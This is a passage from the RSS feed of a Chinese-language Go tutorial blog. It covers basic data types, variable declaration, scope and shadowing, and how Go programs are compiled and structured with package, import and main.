&lt;pre&gt;&lt;code&gt;a := 100        // 十进制
b := 0b1100100  // 二进制，前缀 0b
c := 0o144      // 八进制，前缀 0o
d := 0x64       // 十六进制，前缀 0x

big := 1_000_000  // 下划线分隔，纯粹提高可读性，值还是 1000000
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;浮点数&lt;/h2&gt;
&lt;p&gt;浮点数就是带小数点的数字。Go 有两种：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;占用空间&lt;/th&gt;
&lt;th&gt;精度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;float32&lt;/td&gt;
&lt;td&gt;4字节&lt;/td&gt;
&lt;td&gt;约 6-7 位有效数字&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;float64&lt;/td&gt;
&lt;td&gt;8字节&lt;/td&gt;
&lt;td&gt;约 15-16 位有效数字&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;日常用 &lt;code&gt;float64&lt;/code&gt;，精度更高，也是 Go 默认推断的浮点类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;height := 1.75      // 自动推断为 float64
var pi float32 = 3.14159
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;浮点数的精度问题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;浮点数在计算机里是用二进制近似表示的，某些小数无法精确表示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := 0.1
b := 0.2
fmt.Println(a + b)  // 输出 0.30000000000000004，不是 0.3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这不是 Go 的 bug，是所有编程语言都有的浮点数问题。涉及金额计算时绝对不要用浮点数，应该用整数（比如存分而不是存元）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;算钱用浮点，迟早被人扁&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;科学计数法&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := 1e3    // 1000.0
b := 1.5e-2 // 0.015
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;布尔&lt;/h2&gt;
&lt;p&gt;布尔类型只有两个值：&lt;code&gt;true&lt;/code&gt; 和 &lt;code&gt;false&lt;/code&gt;，用于判断条件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;isAdmin := true
isLoggedIn := false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;布尔值不能和整数互转&lt;/strong&gt;，这点和 C 语言不一样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var n int = 1
var b bool = n  // ❌ 报错，int 不能赋给 bool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 C 里 0 是 false、非 0 是 true，但 Go 不允许这样做，必须明确写 &lt;code&gt;true&lt;/code&gt; 或 &lt;code&gt;false&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;字符串&lt;/h2&gt;
&lt;p&gt;字符串是一串字符，用双引号括起来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;Chongxi&quot;
greeting := &quot;Hi, Go!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;字符串是不可变的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一旦创建，字符串的内容不能修改：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;Chongxi&quot;
name[0] = &apos;L&apos;  // ❌ 报错，字符串不可修改
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要修改只能创建新字符串&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;字符串拼接&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用 &lt;code&gt;+&lt;/code&gt; 拼接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;firstName := &quot;Chong&quot;
lastName := &quot;xi&quot;
fullName := firstName + lastName
fmt.Println(fullName)  // Chongxi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大量拼接用 &lt;code&gt;strings.Builder&lt;/code&gt;，比 &lt;code&gt;+&lt;/code&gt; 效率高很多，后面标准库篇会详细讲&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;多行字符串&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用反引号，原样保留所有内容包括换行和缩进：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;text := `第一行
第二行
第三行`
fmt.Println(text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反引号里的内容不处理转义字符，&lt;code&gt;\n&lt;/code&gt; 就是两个字符 &lt;code&gt;\&lt;/code&gt; 和 &lt;code&gt;n&lt;/code&gt;，不是换行&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;转义字符&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;双引号字符串里可以用转义字符：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(&quot;第一行\n第二行&quot;)  // \n 是换行
fmt.Println(&quot;用\&quot;引号\&quot;括起来&quot;) // \&quot; 是双引号本身
fmt.Println(&quot;路径：C:\\Users&quot;)  // \\ 是反斜杠
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;字符串长度&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;len()&lt;/code&gt; 返回字节数，不是字符数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;张三&quot;
fmt.Println(len(name))  // 输出 6，不是 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为中文每个字符占 3 个字节（UTF-8 编码），&quot;重熙&quot;是 6 个字节。要得到字符数，后面字符串深入那篇会讲&lt;/p&gt;
&lt;h2&gt;byte 和 rune&lt;/h2&gt;
&lt;p&gt;这两个类型和字符串关系密切，先简单了解：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;byte&lt;/code&gt; 是 &lt;code&gt;uint8&lt;/code&gt; 的别名，表示一个字节，处理 ASCII 字符用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var b byte = &apos;A&apos;
fmt.Println(b)  // 输出 65，&apos;A&apos; 的 ASCII 码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;rune&lt;/code&gt; 是 &lt;code&gt;int32&lt;/code&gt; 的别名，表示一个 Unicode 字符，处理中文等字符用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var r rune = &apos;张&apos;
fmt.Println(r)  // 输出 24352，&apos;张&apos; 的 Unicode 码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意字符用&lt;strong&gt;单引号&lt;/strong&gt;，字符串用双引号，两者不一样&lt;/p&gt;
&lt;p&gt;字符串和 byte、rune 的深入关系放到下一篇单独讲，内容比较多&lt;/p&gt;
&lt;h2&gt;复数&lt;/h2&gt;
&lt;p&gt;Go 内置支持复数，科学计算会用到，日常开发基本不会遇到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var c complex64 = 1 + 2i
var d complex128 = 3 + 4i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;知道有这个东西就行&lt;/p&gt;
&lt;h2&gt;类型推断的规则&lt;/h2&gt;
&lt;p&gt;使用 &lt;code&gt;:=&lt;/code&gt; 时，Go 按以下规则推断类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a := 42        // int
b := 3.14      // float64
c := true      // bool
d := &quot;hello&quot;   // string
e := &apos;A&apos;       // rune（int32）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;整数默认推断为 &lt;code&gt;int&lt;/code&gt;，浮点数默认推断为 &lt;code&gt;float64&lt;/code&gt;。如果你需要别的类型，必须显式声明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a int32 = 42
var b float32 = 3.14
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;类型转换&lt;/h2&gt;
&lt;p&gt;Go 不做隐式类型转换，不同类型之间必须显式转换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a int = 42
var b float64 = float64(a)  // int 转 float64
var c int = int(b)           // float64 转 int，小数部分直接丢弃
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;float64&lt;/code&gt; 转 &lt;code&gt;int&lt;/code&gt; 不会四舍五入，直接截断小数部分：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var f float64 = 3.99
var n int = int(f)
fmt.Println(n)  // 输出 3，不是 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;整数之间转换要注意范围，大类型转小类型可能溢出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a int32 = 1000
var b int8 = int8(a)
fmt.Println(b)  // 输出 -24，溢出了
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串和数字互转不能直接用类型转换，要用 &lt;code&gt;strconv&lt;/code&gt; 包，下一篇类型转换会专门讲&lt;/p&gt;
&lt;h2&gt;常量与类型&lt;/h2&gt;
&lt;p&gt;常量用 &lt;code&gt;const&lt;/code&gt; 声明，值在编译阶段就确定，不能修改：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const Pi = 3.14159
const AppName = &quot;MyApp&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常量可以没有明确类型，这叫&lt;strong&gt;无类型常量&lt;/strong&gt;，它的类型在使用时才确定：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const x = 42  // 无类型整数常量

var a int = x     // x 当作 int 用
var b float64 = x // x 当作 float64 用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这种灵活性让常量在赋值时不需要显式转换，比普通变量方便&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;下一篇单独讲字符串，byte 和 rune 的区别，中文字符怎么处理，以及 &lt;code&gt;strings&lt;/code&gt; 包的常用操作&lt;/p&gt;
</content:encoded><category>教程</category><category>Golang</category><author>Chongxi</author></item><item><title>Ch.03：Golang的变量</title><link>https://xice.cx/posts/ch03-VarInGo/</link><guid isPermaLink="true">https://xice.cx/posts/ch03-VarInGo/</guid><description>本文介绍了在Golang中的变量概念及其用法</description><pubDate>Fri, 01 May 2026 11:29:31 GMT</pubDate><content:encoded>&lt;p&gt;程序运行的时候，数据需要一个地方存放。变量就是这个地方。你给一块内存起个名字，之后用这个名字来存取数据&lt;/p&gt;
&lt;h2&gt;变量是什么&lt;/h2&gt;
&lt;p&gt;想象内存是一排格子，每个格子能存一个数据。变量就是给某个格子贴上标签，方便你找到它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;age := 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这行代码做了三件事：找一个空格子，把 20 写进去，贴上标签 &lt;code&gt;age&lt;/code&gt;。之后你用 &lt;code&gt;age&lt;/code&gt;，就能拿到 20&lt;/p&gt;
&lt;h2&gt;声明变量的方式&lt;/h2&gt;
&lt;p&gt;Go 有两种声明变量的方式，各有适用场景。&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;:=&lt;/code&gt; 短声明&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;Chongxi&quot;
age := 20
height := 1.85
isAdmin := true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;:=&lt;/code&gt; 是声明加赋值的简写，Go 会根据右边的值自动判断类型。&lt;code&gt;&quot;Chongxi&quot;&lt;/code&gt; 是字符串，&lt;code&gt;20&lt;/code&gt; 是整数，&lt;code&gt;1.85&lt;/code&gt; 是浮点数，&lt;code&gt;true&lt;/code&gt; 是布尔值。你不需要告诉 Go 类型是什么，它自己推断&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;:=&lt;/code&gt; 只能在函数内部用。&lt;/strong&gt; 写在函数外面会报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;Chongxi&quot;  // ❌ 报错，函数外不能用 :=

func main() {
    name := &quot;Chongxi&quot;  // ✅ 函数内可以
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;var&lt;/code&gt; 完整声明&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;var name string = &quot;Chongxi&quot;
var age int = 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;var&lt;/code&gt; 是声明变量的关键字，后面跟变量名，再跟类型，最后是值。比 &lt;code&gt;:=&lt;/code&gt; 啰嗦，但有它存在的理由：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;var&lt;/code&gt; 可以在函数外用：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var version string = &quot;1.0.0&quot;  // ✅ 函数外可以

func main() {
    fmt.Println(version)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;var&lt;/code&gt; 可以只声明不赋值：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var name string  // 声明但不赋值
fmt.Println(name)  // 输出 &quot;&quot;（空字符串）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;:=&lt;/code&gt; 必须右边有值，&lt;code&gt;var&lt;/code&gt; 可以先占个位置，后面再赋值&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;var&lt;/code&gt; 可以指定类型但不赋值，或者赋值但不指定类型：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var age int          // 指定类型，不赋值
var name = &quot;Chongxi&quot;    // 不指定类型，赋值，Go 自动推断
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;两种方式怎么选&lt;/h3&gt;
&lt;p&gt;日常写代码，函数内部几乎全用 &lt;code&gt;:=&lt;/code&gt;，简洁。&lt;code&gt;var&lt;/code&gt; 留给函数外的全局变量，或者需要先声明后赋值的情况&lt;/p&gt;
&lt;h2&gt;多变量声明&lt;/h2&gt;
&lt;p&gt;同时声明多个变量，不用一行写一个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// := 方式
name, age := &quot;Chongxi&quot;, 20

// var 方式
var (
    name    string = &quot;Chongxi&quot;
    age     int    = 20
    isAdmin bool
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;var&lt;/code&gt; 的括号写法适合声明一组相关的变量，代码看起来整齐&lt;/p&gt;
&lt;p&gt;&lt;code&gt;:=&lt;/code&gt; 的多变量写法有个特殊规则：&lt;strong&gt;左边至少有一个变量是新的，就可以用 &lt;code&gt;:=&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;Chongxi&quot;
name, age := &quot;xi&quot;, 20  // ✅ age 是新变量，name 被重新赋值
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果左边全是已存在的变量，用 &lt;code&gt;:=&lt;/code&gt; 会报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;Chongxi&quot;
age := 20
name, age := &quot;Chongxi&quot;, 21  // ❌ 报错，name 和 age 都已存在
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;赋值与重新赋值&lt;/h2&gt;
&lt;p&gt;声明变量用 &lt;code&gt;:=&lt;/code&gt; 或 &lt;code&gt;var&lt;/code&gt;，之后修改值用 &lt;code&gt;=&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;age := 18
fmt.Println(age)  // 18

age = 20          // 重新赋值，注意是 = 不是 :=
fmt.Println(age)  // 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二次不能再用 &lt;code&gt;:=&lt;/code&gt;，否则报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;age := 18
age := 20  // ❌ 报错：no new variables on left side of :=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;:=&lt;/code&gt; 是声明，&lt;code&gt;=&lt;/code&gt; 是赋值，概念不同，符号不能混用&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;零值&lt;/h2&gt;
&lt;p&gt;Go 里声明了变量但没有赋值，它不会是随机的垃圾值，而是有一个确定的默认值，叫&lt;strong&gt;零值&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;零值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;int（整数）&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;float64（浮点数）&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bool（布尔）&lt;/td&gt;
&lt;td&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;string（字符串）&lt;/td&gt;
&lt;td&gt;&quot;&quot;（空字符串）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;指针、切片、map&lt;/td&gt;
&lt;td&gt;nil&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;var age int
var name string
var ok bool

fmt.Println(age)   // 0
fmt.Println(name)  // （空字符串，看不出来但确实是 &quot;&quot;）
fmt.Println(ok)    // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;零值的设计能让程序更安全，不会出现&quot;我不知道这个变量现在是什么值&quot;的情况&lt;/p&gt;
&lt;h2&gt;变量必须被使用&lt;/h2&gt;
&lt;p&gt;Go 有一个让很多人第一次遇到时觉得好神经病的规定：&lt;strong&gt;声明了变量必须用，不用就报错&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
    name := &quot;Chongxi&quot;
    age := 20
    fmt.Println(name)
    // age 没有被使用
}
// 报错：age declared and not used
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个设计是刻意的。未使用的变量大概率是写错了，要么是遗留的垃圾代码。这是在强制你保持代码干净，养成习惯之后是好事&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：这个规定只针对局部变量（函数内部的变量），函数外的全局变量不受限制&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;类型不能变&lt;/h2&gt;
&lt;p&gt;Go 是静态类型语言，变量一旦确定类型，就不能存别的类型的值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;age := 20
age = &quot;qwq&quot;  // ❌ 报错：cannot use &quot;hello&quot; (type string) as type int
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;age&lt;/code&gt; 被推断为 &lt;code&gt;int&lt;/code&gt;，就只能存整数，不能改成字符串。这和 Python 不一样，Python 的变量可以随时换类型&lt;/p&gt;
&lt;p&gt;静态类型的好处是错误在编译阶段就能发现，不会等到程序跑起来才出问题&lt;/p&gt;
&lt;h2&gt;作用域&lt;/h2&gt;
&lt;p&gt;变量不是在哪里都能用，它只在自己被声明的范围内有效，这个范围叫&lt;strong&gt;作用域&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
    name := &quot;Chongxi&quot;
    fmt.Println(name)  // ✅ 可以用
}

// fmt.Println(name)  // ❌ 报错，name 在 main 函数外不存在
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;花括号 &lt;code&gt;{}&lt;/code&gt; 划定了作用域的边界，变量只在声明它的那对花括号里有效：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
    age := 18

    if age &amp;gt;= 18 {
        msg := &quot;成年&quot;
        fmt.Println(msg)  // ✅ 可以用
    }

    fmt.Println(msg)  // ❌ 报错，msg 在 if 块外不存在
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;msg&lt;/code&gt; 是在 &lt;code&gt;if&lt;/code&gt; 的花括号里声明的，出了这个花括号就不存在了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内层可以访问外层，外层不能访问内层：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
    name := &quot;Chongxi&quot;

    if true {
        fmt.Println(name)  // ✅ 内层可以访问外层的 name
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;内层可以声明和外层同名的变量，会遮蔽外层：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name := &quot;Chongxi&quot;

if true {
    name := &quot;xi&quot;        // 新声明，遮蔽了外层的 name
    fmt.Println(name)    // 输出 xi
}

fmt.Println(name)        // 输出 Chongxi，外层的 name 没有变
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个现象叫&lt;strong&gt;变量遮蔽&lt;/strong&gt;，是常见的坑，尤其在嵌套层级多的代码里，一不留神就用了错误的变量&lt;/p&gt;
&lt;h2&gt;全局变量&lt;/h2&gt;
&lt;p&gt;声明在函数外部的变量叫全局变量，整个包内所有函数都能访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var appName string = &quot;MyApp&quot;

func main() {
    fmt.Println(appName)  // ✅ 可以访问
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;全局变量不受&quot;声明了必须使用&quot;的限制，&lt;strong&gt;但不代表应该滥用&lt;/strong&gt;，全局变量会让代码难以追踪和测试（笑），实际项目里能不用就不用，配置信息、常量这类才适合放全局&lt;/p&gt;
&lt;h2&gt;空白标识符 &lt;code&gt;_&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;有时候你不需要某个值，但语法要求你得接收它，这时候用 &lt;code&gt;_&lt;/code&gt; 丢掉：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name, _ := getUserInfo()  // 只要 name，不要第二个返回值
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;_&lt;/code&gt; 是一个特殊的变量名，赋给它的值直接丢弃，不占用内存，也不受&quot;必须使用&quot;规则限制&lt;/p&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;两种声明方式：&lt;code&gt;:=&lt;/code&gt; 用于函数内，简洁；&lt;code&gt;var&lt;/code&gt; 可用于函数外，灵活&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:=&lt;/code&gt; 是声明加赋值，&lt;code&gt;=&lt;/code&gt; 是单纯赋值，第二次修改变量用 &lt;code&gt;=&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;零值：整数 &lt;code&gt;0&lt;/code&gt;，字符串 &lt;code&gt;&quot;&quot;&lt;/code&gt;，布尔 &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;变量必须被使用&lt;/li&gt;
&lt;li&gt;Go 是静态类型语言，确定类型不能变&lt;/li&gt;
&lt;li&gt;作用域由花括号划定，内层能访问外层，反过来不行，内层同名变量会遮蔽外层&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_&lt;/code&gt; 用来丢弃不需要的值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一篇我们会讲数据类型：整数、浮点、字符串、布尔等，Go 里的类型比你想的细&lt;/p&gt;
</content:encoded><category>教程</category><category>Golang</category><author>Chongxi</author></item><item><title>Ch.02：Go程序是怎么运行的</title><link>https://xice.cx/posts/ch02-HowGoRun/</link><guid isPermaLink="true">https://xice.cx/posts/ch02-HowGoRun/</guid><description>本文介绍了Go程序是如何在计算机上运行的</description><pubDate>Fri, 01 May 2026 00:20:00 GMT</pubDate><content:encoded>&lt;p&gt;在此之前我们装好了环境，跑通了 Hello。但你有没有想过，你写的那几行魔法，计算机怎么跑起来的&lt;/p&gt;
&lt;p&gt;在真正开始写代码之前，先花一篇的时间搞清楚这件事，不需要太深入底层，但理解这个过程，会让你少点疑问&lt;/p&gt;
&lt;h2&gt;计算机只认识 0 和 1&lt;/h2&gt;
&lt;p&gt;计算机本质上是一堆电路，电路只有两种状态：通电和断电。人类用 1 表示通电，0 表示断电，这就是二进制&lt;/p&gt;
&lt;p&gt;所有的程序，最终都要变成一串 0 和 1，CPU 才能执行。但没有人会直接写 0 和 1，太痛苦了。所以人类发明了编程语言，用接近自然语言的方式写代码，再让工具把它翻译成机器能懂的东西&lt;/p&gt;
&lt;p&gt;这个翻译的过程，有两种主流方式&lt;/p&gt;
&lt;h2&gt;编译型 vs 解释型&lt;/h2&gt;
&lt;h3&gt;编译型语言&lt;/h3&gt;
&lt;p&gt;先把整个源代码翻译成机器码，生成一个可执行文件，然后再运行。翻译这个动作叫&lt;strong&gt;编译&lt;/strong&gt;，做这件事的工具叫&lt;strong&gt;编译器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Go 是编译型语言。你写好代码，&lt;code&gt;go build&lt;/code&gt; 一下，生成一个二进制文件，直接运行，不需要任何额外环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;源代码 → 编译器 → 可执行文件 → 运行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;优点是运行快，因为机器码直接在 CPU 上跑。缺点是每次改完代码都要重新编译&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解释型语言&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不提前翻译，运行的时候边读代码边执行。做这件事的工具叫&lt;strong&gt;解释器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Python 是解释型语言。你写好代码，&lt;code&gt;python hello.py&lt;/code&gt;，解释器一行一行读，一行一行执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;源代码 → 解释器 → 运行（边翻译边执行）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;优点是改完代码立刻能跑，开发方便。缺点是运行速度比编译型慢，因为翻译是实时发生的&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Go 是编译型，但提供了 &lt;code&gt;go run&lt;/code&gt; 让你感觉像解释型：它在后台帮你编译，编译完立刻运行，临时文件放在系统缓存目录里，你不用关心中间过程&lt;/p&gt;
&lt;p&gt;学习阶段用 &lt;code&gt;go run&lt;/code&gt;，部署的时候用 &lt;code&gt;go build&lt;/code&gt;，这个习惯记住就行&lt;/p&gt;
&lt;h2&gt;Go 程序的基本结构&lt;/h2&gt;
&lt;p&gt;回头看上一篇那个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import &quot;fmt&quot;

func main() {
    fmt.Println(&quot;Hello, Go!&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;package&lt;/h3&gt;
&lt;p&gt;每个文件都属于一个包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Go 的代码是用&lt;strong&gt;包（package）&lt;/strong&gt; 来组织的。每个 &lt;code&gt;.go&lt;/code&gt; 文件的第一行，必须声明自己属于哪个包&lt;/p&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt; 是一个特殊的包名，意思是&quot;这是程序的入口&quot;。Go 运行的时候，会找 &lt;code&gt;package main&lt;/code&gt; 里的 &lt;code&gt;main&lt;/code&gt; 函数，从那里开始执行&lt;/p&gt;
&lt;p&gt;如果你把 &lt;code&gt;package main&lt;/code&gt; 改成 &lt;code&gt;package hello&lt;/code&gt;，这个文件就变成了一个库，不能直接运行。包的组织方式后面会专门讲，现在只需要记住：&lt;strong&gt;能直接运行的程序，包名一定是 &lt;code&gt;main&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;import&lt;/h3&gt;
&lt;p&gt;引入别人写好的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;fmt&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;import&lt;/code&gt; 的意思是&quot;引入这个包，我要用&quot;。&lt;code&gt;fmt&lt;/code&gt; 是 Go 标准库里的一个包，提供格式化输入输出的功能&lt;/p&gt;
&lt;p&gt;引入多个包时用括号括起来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import (
    &quot;fmt&quot;
    &quot;time&quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Go 有一个强规定：引入了包必须用，不然报错&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import (
    &quot;fmt&quot;
    &quot;time&quot;
)

func main() {
    fmt.Println(&quot;hello&quot;)
    // time 没用
}
// 报错：time imported and not used
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个设计和变量必须被使用一样，目的是保持代码干净，不留垃圾&lt;/p&gt;
&lt;p&gt;如果有时候你确实需要引入一个包但不直接调用它（比如只需要它的初始化副作用），这时候用 &lt;code&gt;_&lt;/code&gt; 匿名引入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import _ &quot;some/package&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还可以给包起别名，在包名太长或者有冲突的时候用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import (
    f &quot;fmt&quot;
)

func main() {
    f.Println(&quot;hello&quot;) // 用别名 f 代替 fmt
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;func main()&lt;/h3&gt;
&lt;p&gt;程序从这里开始&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
    // 代码写在这里
}
&lt;/code&gt;&lt;/pre&gt;
